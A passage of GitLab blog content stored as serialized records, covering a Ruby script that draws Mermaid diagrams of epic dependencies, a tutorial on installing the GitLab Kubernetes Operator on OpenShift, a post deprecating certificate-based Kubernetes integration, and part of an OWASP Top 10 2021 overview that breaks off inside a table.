'opened' }).each do |epic|\n    if Gitlab.epic_epics(epic['group_id'], epic['iid']).count == 0\n      update_mermaid(token: token, group_id: group_id, epic_id: epic['iid'], dry_run: dry_run)\n    end\n  end\nend\n```\nFinally the most exciting part of the script is the method `update_mermaid` method. \n\nBelow the code sets up variables, and looks to see if a mermaid diagram exists in the epic description that it should populate. Note, that if a mermaid diagram does not exist in the epic already, this script will not create one. Each epic should already have a mermaid diagram placeholder inserted after the status header.\n\n```rb\ndef update_mermaid(token:, group_id:, epic_id:, dry_run:)\n  in_epic = Set.new\n  from_relations = Set.new\n  relations = Set.new\n  mermaid = ['graph TD']\n  original_description = Gitlab.epic(group_id, epic_id).description\n\n  unless original_description =~ MERMAID_REGEX\n    puts \"#{epic_id} does not have a Mermaid diagram\"\n    return\n  end\n```\n\nNext the code iterates through each of the issues in the epic and assigns a graph_id for each issue that will be part of the mermaid diagram. It also adds the `key_fields` to the `in_epic` Set. The code assigns `title` along with an emoji so that the mermaid diagram is visually richer. After that the graph nodes are added to the mermaid diagram. \n\n```rb\n Gitlab.epic_issues(group_id, epic_id).each do |issue|\n    iid = issue['iid']\n    graph_id = id(issue)\n\n    in_epic \u003C\u003C key_fields(issue)\n\n    title = \"##{iid}\"\n    title = \"🎯 #{title}\" if issue['labels'].include?('exit criterion')\n    if issue['state'] == 'closed'\n      title = \"✅ #{title}\"\n    elsif issue['assignees'].any?\n      title = \"⏳ #{title}\"\n    end\n\n    mermaid \u003C\u003C \"  #{graph_id}[\\\"#{title}\\\"]\"\n    mermaid \u003C\u003C \"  click #{graph_id} \\\"#{issue['web_url']}\\\" \\\"#{issue['title'].gsub('\"', \"'\")}\\\"\"\n\n```\nAfter adding the graph nodes above, the code iterates through the links associated with each issue. The code determines if the issue is blocked by or blocks another issue. Knowing the direction of this relationship defines which direction the arrow in the mermaid diagram should point.  \n\nThe code also adds both the issue and link to the `from_relations` set, which will automatically deduplicate entries.\n\n```rb\n    Gitlab.issue_links(issue['project_id'], issue['iid']).each do |link|\n      case link['link_type']\n      when 'is_blocked_by'\n        source = id(link)\n        destination = graph_id\n      when 'blocks'\n        source = graph_id\n        destination = id(link)\n      else\n        next\n      end\n\n      from_relations \u003C\u003C key_fields(issue)\n      from_relations \u003C\u003C key_fields(link)\n\n      unless relations.include?([source, destination])\n        mermaid \u003C\u003C \"  #{source} --> #{destination}\"\n        relations \u003C\u003C [source, destination]\n      end\n    end\n```\n\nFinally, the code looks at the “extra” issues, which are issues that are not directly part of the epic, but are related to issues in the epic. These are the most important issues to ensure are on the diagram, since they represent issue dependencies that are outside the epic and would otherwise not show up when viewing an epic page in GitLab. \n\nThe code then updates the epic description by calling the GitLab API and setting the new description. \n\n```rb\n  (from_relations - in_epic).each do |extra_issue|\n    mermaid \u003C\u003C \"  #{id(extra_issue)}[\\\"❌ ##{extra_issue['iid']}\\\"]\"\n    mermaid \u003C\u003C \"  click #{id(extra_issue)} \\\"#{extra_issue['web_url']}\\\" \\\"#{extra_issue['title'].gsub('\"', \"'\")}\\\"\"\n  end\n\n  mermaid_string = mermaid.join(\"\\n\")\n  new_description = original_description\n                        .gsub(MERMAID_REGEX,\n                              \"\\n\\\\1\\n```mermaid\\n#{mermaid_string}\\n```\\n\")\n\n    Gitlab.edit_epic(group_id, epic_id, description: new_description)\nend\n```\n\nThe above scripts help engineering managers efficiently know about all the issues their team members are working on, the status of their team’s epics and how all the work fits together.  \n\nThe scripts only rely on team members doing two things manually: \n\n* Updating an epic’s status on a periodic basis\n* Creating relationships between related issues.  \n\nThe scripts can be run as part of a regular scheduled [pipeline](https://gitlab.com/gitlab-org/secure/tools/epic-issue-summaries/-/blob/main/.gitlab-ci.yml). With the reports generated on a scheduled basis, engineering managers can regularly get summarized information that helps make them and their teams more productive.\n",[1444,676,2368],{"slug":16466,"featured":6,"template":678},"engineering-managers-automate-their-jobs","content:en-us:blog:engineering-managers-automate-their-jobs.yml","Engineering Managers Automate Their Jobs","en-us/blog/engineering-managers-automate-their-jobs.yml","en-us/blog/engineering-managers-automate-their-jobs",{"_path":16472,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16473,"content":16479,"config":16483,"_id":16485,"_type":16,"title":16486,"_source":17,"_file":16487,"_stem":16488,"_extension":20},"/en-us/blog/gko-on-ocp",{"title":16474,"description":16475,"ogTitle":16474,"ogDescription":16475,"noIndex":6,"ogImage":16476,"ogUrl":16477,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16477,"schema":16478},"How to install and use the GitLab Kubernetes Operator","Follow these step-by-step instructions to set up the GitLab Kubernetes Operator on a Kubernetes cluster.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682191/Blog/Hero%20Images/GKO-Thumbnail.png","https://about.gitlab.com/blog/gko-on-ocp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to install and use the GitLab Kubernetes Operator\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-11-16\",\n      }",{"title":16474,"description":16475,"authors":16480,"heroImage":16476,"date":16462,"body":16481,"category":734,"tags":16482},[937],"\n\nThe GitLab Kubernetes Operator was released on October 12, 2021.\n\n## What is the GitLab Kubernetes Operator?\n\nThe GitLab Operator allows you to install and run an instance of GitLab in a vanilla Kubernetes or OpenShift cluster. Kubernetes operators increase the reliability and availability of your applications by automating Day 2 operations such as upgrading components, management of data integrity, application reconfiguration, automatic recovery from a failure, and autoscaling.\n\n## Installing the GitLab Kubernetes Operator on an OpenShift Container Platform cluster\n\nIn this short post, we show you how to install and run the GitLab Operator to create a GitLab instance on an OpenShift Container Platform cluster, which we have already preinstalled:\n\n![OCP console](https://about.gitlab.com/images/blogimages/gko-on-ocp/0-ocp-console.png){: .shadow.medium.center.wrap-text}\nThe OpenShift Container Platform console\n{: .note.text-center}\n\nInspecting the running pods of the OpenShift cluster, we see that Prometheus is already being used as the metrics server, which is a prerequisite for the installation of the GitLab Operator:\n\n![Prometheus up and running](https://about.gitlab.com/images/blogimages/gko-on-ocp/1-prometheus-up.png){: .shadow.medium.center.wrap-text}\nPrometheus up and running on cluster\n{: .note.text-center}\n\nAlso, we verify that the gitlab-system namespace does not yet exist:\n\n![gitlab namespace not present](https://about.gitlab.com/images/blogimages/gko-on-ocp/2-no-gitlab-sys-namespace.png){: .shadow.medium.center.wrap-text}\ngitlab-system namespace non-existent\n{: .note.text-center}\n\nAnother prerequisite is cert-manager, which automates the management and issuance of TLS certificates. Let’s use the OpenShift OperatorHub to install and instantiate an instance of cert-manager. We first verify that one is not running. Then we head to the OperatorHub and install the cert-manager Operator:\n\n![cert-manager in OperatorHub](https://about.gitlab.com/images/blogimages/gko-on-ocp/3-cert-mgr-in-operatorhub.png){: .shadow.medium.center.wrap-text}\nInstalling cert-manager using its operator in OperatorHub\n{: .note.text-center}\n\n**NOTE:** Once the GitLab Kubernetes Operator is certified with OpenShift, it will have its own tile in the OperatorHub.\n{: .alert .alert-info}\n\nThen we create an instance of cert-manager by using its newly installed operator:\n\n![cert-manager instance creation](https://about.gitlab.com/images/blogimages/gko-on-ocp/4-create-instance-cert-mgr.png){: .shadow.medium.center.wrap-text}\nCreating an instance of cert-manager using its operator\n{: .note.text-center}\n\nIn preparation of the GitLab Operator installation, we create the namespace gitlab-system, under which all of the GitLab resources will be:\n\n![gitlab-system namespace creation](https://about.gitlab.com/images/blogimages/gko-on-ocp/5-create-gitlab-sys-namespace.png){: .shadow.medium.center.wrap-text}\nCreating the gitlab-system namespace\n{: .note.text-center}\n\nTo install the GitLab Operator, we define two environment variables: one is to set the version of the GitLab Operator we want to use and the other one is to set the platform for which we are targeting the Operator. In this case, it is OpenShift. We then apply the GitLab Operator Custom Resource Definition or CRD to the cluster, which creates the operator, by entering the following command:\n\n```\nexport GL_OPERATOR_VERSION=\"0.1.0\" \nexport PLATFORM=\"openshift\"\nkubectl apply -f https://gitlab.com/api/v4/projects/18899486/packages/generic/gitlab-operator/${GL_OPERATOR_VERSION}/gitlab-operator-${PLATFORM}-${GL_OPERATOR_VERSION}.yaml\n```\n\nAnd here's is an example screenshot of what the output of this command would be like:\n\n![application of the CRD to the cluster](https://about.gitlab.com/images/blogimages/gko-on-ocp/6-applying-the-crd.png){: .shadow.medium.center.wrap-text}\nApplying the GitLab Kubernetes Operator to the OpenShift cluster\n{: .note.text-center}\n\nAs we watch the pods in the gitlab-system namespace, we see the creation of two pods for the gitlab-controller-manager:\n\n![operator pods](https://about.gitlab.com/images/blogimages/gko-on-ocp/7-watching-operator-pods-creation.png){: .shadow.medium.center.wrap-text}\nGitLab Kubernetes Operator pods being created on the OpenShift cluster\n{: .note.text-center}\n\nThe GitLab Kubernetes Operator is now installed on the OpenShift Container Platform cluster. Next, we need to use this newly installed operator to create an instance of GitLab.\n\n## Creating a GitLab instance on the cluster using the GitLab Kubernetes Operator\n\nTo create an instance of GitLab, we create a Custom Resource file called mygitlab.yaml to provide information, such as domain name and certmanager issuer email, for the GitLab Operator to use during the creation of the GitLab instance. Here is a parameterized example of the contents for this file:\n\n```\napiVersion: apps.gitlab.com/v1beta1\nkind: GitLab\nmetadata:\n  name: gitlab\nspec:\n  chart:\n    version: \"[REPLACE WITH THE CHART VERSION]\"\n    values:\n      global:\n        hosts:\n          domain: [REPLACE WITH YOUR DOMAIN NAME]\n        ingress:\n          configureCertmanager: true\n      certmanager-issuer:\n        email: [REPLACE WITH YOUR EMAIL]\n```\n\nAnd here is an example screenshot of what this file would look like with actual values for the parameters:\n\n![creating-gitlab-yaml-file](https://about.gitlab.com/images/blogimages/gko-on-ocp/8-creating-mygitlab-yaml.png){: .shadow.small.center.wrap-text}\nCreating mygitlab.yaml, the custom resource file\n{: .note.text-center}\n\nWe then apply the Custom Resource to the cluster. This action will kickstart the creation of all the pods needed for the instantiation of a GitLab instance on the cluster:\n\n![applying the custom resource to the cluster](https://about.gitlab.com/images/blogimages/gko-on-ocp/9-applying-the-cr.png){: .shadow.medium.center.wrap-text}\nApplying the custom resource file to the cluster\n{: .note.text-center}\n\nAfter a few minutes, when the GitLab instance is up and running, we obtain its external IP address from the nginx ingress controller installed by the GitLab Operator by entering the following command:\n\n> kubectl -n gitlab-system get services -o wide gitlab-nginx-ingress-controller\n\nHere's an example screenshot of its output:\n\n![getting the external ip](https://about.gitlab.com/images/blogimages/gko-on-ocp/10-get-external-ip.png){: .shadow.medium.center.wrap-text}\nObtaining the external IP address for our newly created GitLab instance\n{: .note.text-center}\n\nWe use this IP address to create DNS A records to map the DNS names of three (minio, registry, and gitlab) of the GitLab instance subsystems to it. Here is a snapshot for the gitlab one (you need to do the same for the minio and registry subsystems):\n\n![creating dns record](https://about.gitlab.com/images/blogimages/gko-on-ocp/11-creating-dns-record.png){: .shadow.medium.center.wrap-text}\nCreating DNS A record for the gitlab subsystem\n{: .note.text-center}\n\n**NOTE:** I owned the domain ocpgitlab.com. You would use a domain that you own.\n{: .alert .alert-info}\n\n## Logging in to the newly created instance running on the OpenShift Container Platform cluster\n\nBefore logging in to our newly created GitLab instance running on OpenShift Container Platform, we need to obtain the initial root password, which is a secret stored under the gitlab-system namespace. You obtain the initial root password for the newly created GitLab instance by entering the following command:\n\n> kubectl -n gitlab-system get secret gitlab-gitlab-initial-root-password -ojsonpath='{.data.password}' \\| base64 --decode ; echo\n\nAt this moment, we can point our browser to our newly created GitLab instance on OpenShift and login as root:\n\n![logging in to GitLab](https://about.gitlab.com/images/blogimages/gko-on-ocp/13-log-in-to-gitlab.png){: .shadow.medium.center.wrap-text}\nLogging in to the newly created GitLab instance running on the OpenShift Container Platform cluster\n{: .note.text-center}\n\nThat’s it!\n\n## Conclusion\n\nWe have shown you how to install and run the GitLab Operator to create a GitLab instance on an OpenShift Container Platform cluster. View [this demo](https://youtu.be/sEBnuhzYD2I) to see how this feature works.\n\n## Read more on Kubernetes\n\n- [Threat modeling the Kubernetes Agent: from MVC to continuous improvement](/blog/threat-modeling-kubernetes-agent/)\n\n- [How to deploy the GitLab Agent for Kubernetes with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n\n",[2509,754,232],{"slug":16484,"featured":6,"template":678},"gko-on-ocp","content:en-us:blog:gko-on-ocp.yml","Gko On Ocp","en-us/blog/gko-on-ocp.yml","en-us/blog/gko-on-ocp",{"_path":16490,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16491,"content":16496,"config":16502,"_id":16504,"_type":16,"title":16505,"_source":17,"_file":16506,"_stem":16507,"_extension":20},"/en-us/blog/deprecating-the-cert-based-kubernetes-integration",{"title":16492,"description":16493,"ogTitle":16492,"ogDescription":16493,"noIndex":6,"ogImage":13319,"ogUrl":16494,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16494,"schema":16495},"Deprecating cert-based Kubernetes integration in GitLab 14.5","Understand why we're deprecating this integration, how it might affect you, and get a closer look at GitLab Agent for Kubernetes.","https://about.gitlab.com/blog/deprecating-the-cert-based-kubernetes-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are deprecating the certificate-based integration with Kubernetes in GitLab 14.5\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-11-15\",\n      }",{"title":16497,"description":16493,"authors":16498,"heroImage":13319,"date":16499,"body":16500,"category":736,"tags":16501},"We are deprecating the certificate-based integration with Kubernetes in GitLab 14.5",[2544],"2021-11-15","\n\nWe are deprecating the certificate-based Kubernetes integration with GitLab and all the features that\nrely on it. This is the legacy integration, [introduced](/releases/2018/01/22/gitlab-10-4-released/#gitlab-clusters-now-generally-available) early in 2018, in GitLab 10.4.\n\nIn September 2020, we started to build a more robust, secure, forthcoming, and reliable integration\nwith Kubernetes and released the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/),\nwhich is the recommended methodology to connect clusters with GitLab.\n\nIn this post, we explain the reasons for the change of path, what to expect, and how this\naffects the features that rely on the certificate-based integration with Kubernetes.\n\n## What to expect\n\nThe deprecation of the certificate-based Kubernetes integration affects all the features\nthat require a cluster connected to GitLab through cluster certificates. All those features are deprecated. The certificate-based integrations will be switched off on gitlab.com starting with the GitLab 15.0 release. Self-managed users will be able to switch the features back until their final removal. [The final removal will happen](https://gitlab.com/gitlab-org/configure/general/-/issues/199) once all the collected, critical use-cases are supported with the agent and enough time was given for our users to migrate to the agent.\n\nIn regards to the existing features that rely on the certificate-based integration:\n\n- Some of the features will be migrated to use the GitLab Agent and we will\nprovide you with migration guides to help you follow along. We will communicate them\nthrough the following releases in our release posts, as usual.\n- If you already use features that depend on cluster certificates, you can keep using\nthem. But note that you might need to take extras steps in the future to migrate them\nto the Agent. However, we **do not** guarantee that we will migrate all the existing\ncertificate-based features to the Agent.\n- Existing users should not expect new functionality except for the developments required to support more recent Kubernetes versions, security and critical fixes, and community contributions. \n- If you currently do not use a deprecated feature and regardless decide to use it anyway,\nunderstand that there's a risk of having to migrate it to the Agent later, or, in the\nworst-case scenario, you might have to stop using the feature in the future.\n\nSee the updated list of the [affected features](https://docs.gitlab.com/ee/user/infrastructure/clusters/#deprecated-features) on the docs.\n\n## What this deprecation means\n\nThe deprecation means that we will not build more features on top of the existing features\nthat depend on cluster certificates. It doesn't mean that the features will stop working right now.\n\nNew features for Kubernetes clusters will be built on top of the connection between GitLab and\nyour cluster through the Agent rather than on top of the certificate-based connection.\n\nWe have [dedicated documentation](https://docs.gitlab.com/ee/user/infrastructure/clusters/migrate_to_gitlab_agent.html) to support you migrating from the certificate-based connections to agent-based connections.\n\n## What should you do for clusters not connected to GitLab yet\n\nTo connect new clusters with GitLab, use the [Agent](https://docs.gitlab.com/ee/user/clusters/agent/)\nso that you don't have to take extra steps to use the Agent later on.\n\n## Why we deprecated the certificate-based integration with Kubernetes\n\nThere were several reasons why we decided to rethink our approach to Kubernetes:\n\n- The certificate-based integration's biggest shortcoming is that it relies on direct\naccess to the Kubernetes API. Its exposure often comes with unacceptably high risk, especially for GitLab\nSaaS users.\n- The most valuable features within the integration required elevated privileges, often\nrequiring you to give cluster-admin rights to GitLab. At the same time, features that did\nnot need these privileges could not be restricted with more limited access. This means\nthat you had to grant full access to a rather simple feature, which could turn out as a liability.\n- Feedback from users implied that many of the features were never ready for production and\ncould be used only in limited situations.\n- The industry progressed, and pull-based deployments started to gain ground. And this approach\nwas mostly unknown when we built the integration.\n\nWe decided to address all these shortcomings with the GitLab Agent.\n\n## The advantages of the GitLab Agent\n\nThe integration with Kubernetes through the Agent provides many benefits compared to the\ncertificate-based integration, such as:\n\n- Security\n- Reliability\n- Scalability\n- Speed\n- Functionality\n\nCompared to the certificate-based integration, the Agent offers the following functionalities:\n\n- Configure your cluster through code. This enables a clear separation of duties and you can use well-known merge request workflows and approvals.\n- An agent can be configured using regular Kubernetes RBAC rules, maintaining access\nto your cluster safe.\n- Scaling to multiple environments is trivial as each agent connects to one environment.\n- An agent's connection to a cluster can be shared by other groups and projects to simplify\ncoordination and maintenance.\n- The Agent supports pull-based deployments, enabling modern GitOps approaches.\n- The Agent supports push-based deployments, enabling existing GitLab CI/CD workflows to\nremain functional.\n- Having a bi-directional channel between GitLab and the cluster enables a new set of integrations,\nlike surfacing container network security policy alerts and container scan results into GitLab.\n\n## What is next on the roadmap of the GitLab Agent\n\nWe identified a few high-value features on the list of deprecated features. Moreover, we know\nthat having some level of observability around the resources managed by the Agent is\nits biggest shortcoming. As a result, we are going to focus on the following three items first:\n\n- Provide [observability features for cluster resources](https://gitlab.com/groups/gitlab-org/-/epics/2493) so you can track your metrics and logs directly from GitLab.\n- [Auto DevOps and especially Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-deploy) can already by used on top of an Agent-based connection, but the setup is not easy. We will provide you with a solution soon.\n- [GitLab-Managed Clusters](https://docs.gitlab.com/ee/user/project/clusters/gitlab_managed_clusters.html#gitlab-managed-clusters-deprecated) are expected to work as they do today until we ship an equivalent or superior functionality\nbuilt around the Agent. Together with shipping this functionality, we will provide a migration guide if necessary.\n\n## We are listening\n\nPlease help us to help you. We need your feedback to help us prioritize the migration of the\ncurrent features to the Agent and to build new features based on the Agent. We are especially seeking\nfeed back around real-world, high-scale usage of the features built for using Kubernetes clusters with GitLab.\n\nIf you would be open to sharing your feedback, please start a new thread in [this epic](https://gitlab.com/groups/gitlab-org/configure/-/epics/8). Feel free to mention `@nagyv-gitlab` in your comment to make sure that your comment is read and the information won't be missed.\n",[2509,232,774],{"slug":16503,"featured":6,"template":678},"deprecating-the-cert-based-kubernetes-integration","content:en-us:blog:deprecating-the-cert-based-kubernetes-integration.yml","Deprecating The Cert Based Kubernetes Integration","en-us/blog/deprecating-the-cert-based-kubernetes-integration.yml","en-us/blog/deprecating-the-cert-based-kubernetes-integration",{"_path":16509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16510,"content":16516,"config":16521,"_id":16523,"_type":16,"title":16524,"_source":17,"_file":16525,"_stem":16526,"_extension":20},"/en-us/blog/top-five-actions-owasp-2021",{"title":16511,"description":16512,"ogTitle":16511,"ogDescription":16512,"noIndex":6,"ogImage":16513,"ogUrl":16514,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16514,"schema":16515},"Five key actions to take based on OWASP Top 10 2021 updates","Learn what actions engineers should take based on the OWASP Top 10 updates for 2021","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684879/Blog/Hero%20Images/joshua-golde-qIu77BsFdds-unsplash.jpg","https://about.gitlab.com/blog/top-five-actions-owasp-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top five actions engineers should take based on the OWASP Top 10 2021 security updates\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2021-11-15\",\n      }",{"title":16517,"description":16512,"authors":16518,"heroImage":16513,"date":16499,"body":16520,"category":674},"Top five actions engineers should take based on the OWASP Top 10 2021 security updates",[16519],"Wayne Haber","\n\u003C%= cache_bust(stylesheet_link_tag('harveyball'), cache_bust_value) %>\n\u003Cstyle>\n.slpBlog__article table > tbody > tr > td {\n  vertical-align: middle;\n}\ntd .harveyball {\n  margin: 0 auto;\n}\nli .harveyball {\n  display: inline;\n}\n\u003C/style>\n\nThe [OWASP Foundation](https://owasp.org/) recently released its long-anticipated [OWASP top 10 security vulnerability trends for 2021](https://owasp.org/Top10/).  This list provides awareness for developers and security teams on the most critical security risks to applications. This is the first update in four years.\n\nWe're proud to [sponsor the OWASP organization](https://about.gitlab.com/blog/gitlab-is-now-a-member-of-the-owasp-foundation/), which supports their mission \"to help the world improve the security of its software\" as well as support regional and global annual conferences. We were also thrilled to be able to help with the OWASP top 10 updates by compiling and providing [anonymized vulnerability data](https://about.gitlab.com/blog/gitlab-latest-security-trends/) to OWASP so they could use it with data from other sources to compile the trends.\n\n## There are many changes to the OWASP top 10\n\n\u003Ciframe src='https://flo.uri.sh/visualisation/7574790/embed' title='Interactive or visual content' class='flourish-embed-iframe' frameborder='0' scrolling='no' style='width:100%;height:600px;' sandbox='allow-same-origin allow-forms allow-scripts allow-downloads allow-popups allow-popups-to-escape-sandbox allow-top-navigation-by-user-activation'>\u003C/iframe>\u003Cdiv style='width:100%!;margin-top:4px!important;text-align:right!important;'>\u003Ca class='flourish-credit' href='https://public.flourish.studio/visualisation/7574790/?utm_source=embed&utm_campaign=visualisation/7574790' target='_top' style='text-decoration:none!important'>\u003Cimg alt='Made with Flourish' src='https://public.flourish.studio/resources/made_with_flourish.svg' style='width:105px!important;height:16px!important;border:none!important;margin:0!important;'> \u003C/a>\u003C/div>\n\nOWASP Top 10 changes from 2004 to 2021\n\nIn the top 5, broken access control has gone from #5 up to #1 on this list due to nearly 4% of applications having challenges in this area. Insecure design has been added as a new category. Cryptographic failures, injection, and security misconfiguration continue to be high on the list.\n\nIn the bottom 5, vulnerable and outdated components, identification/authentication issues, and logging/monitoring are still present. New categories are software/data integrity and Server-Side Request Forgery (SSRF).\n\nThe most significant changes between the OWASP Top 10 2017 and 2021 rankings is the position of Broken Authentication, which moved five steps down from position 2 to 7. This change indicates that this category is considered much less critical nowadays than it used to be in the past. In contrast, Broken Access Control is considered more critical in 2021 in comparison to 2017 because it moved up four steps from position 5 to 1.\n\nAnother noticeable difference when comparing OWASP Top 10 2017 and 2021 is the disappearance of the XML External Entity (XXE), Cross-Site Scripting (XSS), and Insecure Deserialization categories which have been absorbed by the Security Misconfiguration, Injection and Software and Data Integrity Failures categories in the 2021 ranking, respectively. This change freed up two additional spots in the 2021 ranking for the entirely new categories Insecure Design and SSRF. Vulnerabilities in Software Dependencies moved up three positions from position 9 in 2017 (Using Components with Known Vulnerabilities) to position 6 in 2021 (Vulnerable and Outdated Components).\n\n## What should engineering and security teams do based on the updates?\n\n1. [Broken access control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) – [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scanners can sometimes help to find some classes of these issues. Automated tools can identify that user X can access feature Y; however, they often cannot determine if that user should have that level of access. This is where designing for security from the beginning comes into play, especially for authentication and authorization. Humans cannot be replaced with automation to detect many of these issues. Focused penetration testing and bug bounty programs are key to find things that may have slipped through the cracks.\n1. [Insecure design](https://owasp.org/Top10/A04_2021-Insecure_Design/) – Similar to the top controls for broken access control, it is essential to design for security at the beginning and monitor it over time. Teach developers how their applications may be attacked through threat modeling in order to enable them to design and evaluate the system design from a security-first mindset.\n1. [Software/data integrity](https://owasp.org/Top10/pt_BR/A08_2021-Software_and_Data_Integrity_Failures/) – Educate developers on attackers doing typosquatting on common libraries and inducing developers to use their libraries that have been compromised. Confirm your libraries and other dependencies are checked for known security issues via [GitLab Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), and/or Container Scanning and open source tools like [OWASP dependency check](https://owasp.org/www-project-dependency-check/). Also, consider tools like [package hunter](https://about.gitlab.com/blog/announcing-package-hunter/) that can help find malicious code in your dependencies.\n1. [Server-Side Request Forgery](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) – Sanitize untrusted input data using hardened libraries and [fuzz test](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) your inputs to suss out unexpected behaviors. Implement allow lists for what should be permitted rather than deny lists that can be easily thwarted by a determined attacker. [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) and [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) scanners can often easily identify this class of issues.\n1. Keep diligence on the other top threats on the list via the above recommendations, including confirming monitoring and pre-established escalation runbooks for security issues. [Scan your code for secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) that can accidentally leak into repositories. Keep an eye on [vulnerability trends](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) in your applications over time to make sure they are being vetted and addressed as appropriate. [Scan and monitor your containers](https://docs.gitlab.com/ee/user/application_security/container_scanning/) for security issues.\n\n## How do GitLab and other solutions measure up to these risks?\n\nNo one solution covers the entire threat in any category. A defense-in-depth strategy of employing multiple areas of validation is key to managing risk.\n\nMore information about how GitLab addresses these risks can be found on the [secure product metric page](/handbook/engineering/development/sec/secure/products/metrics/).\n\n| Security risk                                       | GitLab Secure & Protect | Penetration Testing | Bug Bounties | Security Training | Security-First Design | Security Monitoring & Escalation |\n|-----------------------------------------------------|-------------------------|---------------------|--------------|-------------------|-----------------------|----------------------------------|\n| A01:2021-Broken Access Control                      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>               | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>         |  \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                           |\n| 02:2021-Cryptographic Failures                      | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>           | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                              |\n| 03:2021-Injection                                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>          | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>             | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                          |\n| A05:2021-Security Misconfiguration                  | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                     | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                   | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>          | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>              | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-25\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                               |\n| A06:2021-Vulnerable and Outdated Components         | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-75\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse xlink:href=\"/images/harveyball/icons.svg#harveyball-50\">\u003C/use>\u003C/svg>                 | \u003Csvg class=\"harveyball\">\u003Cuse 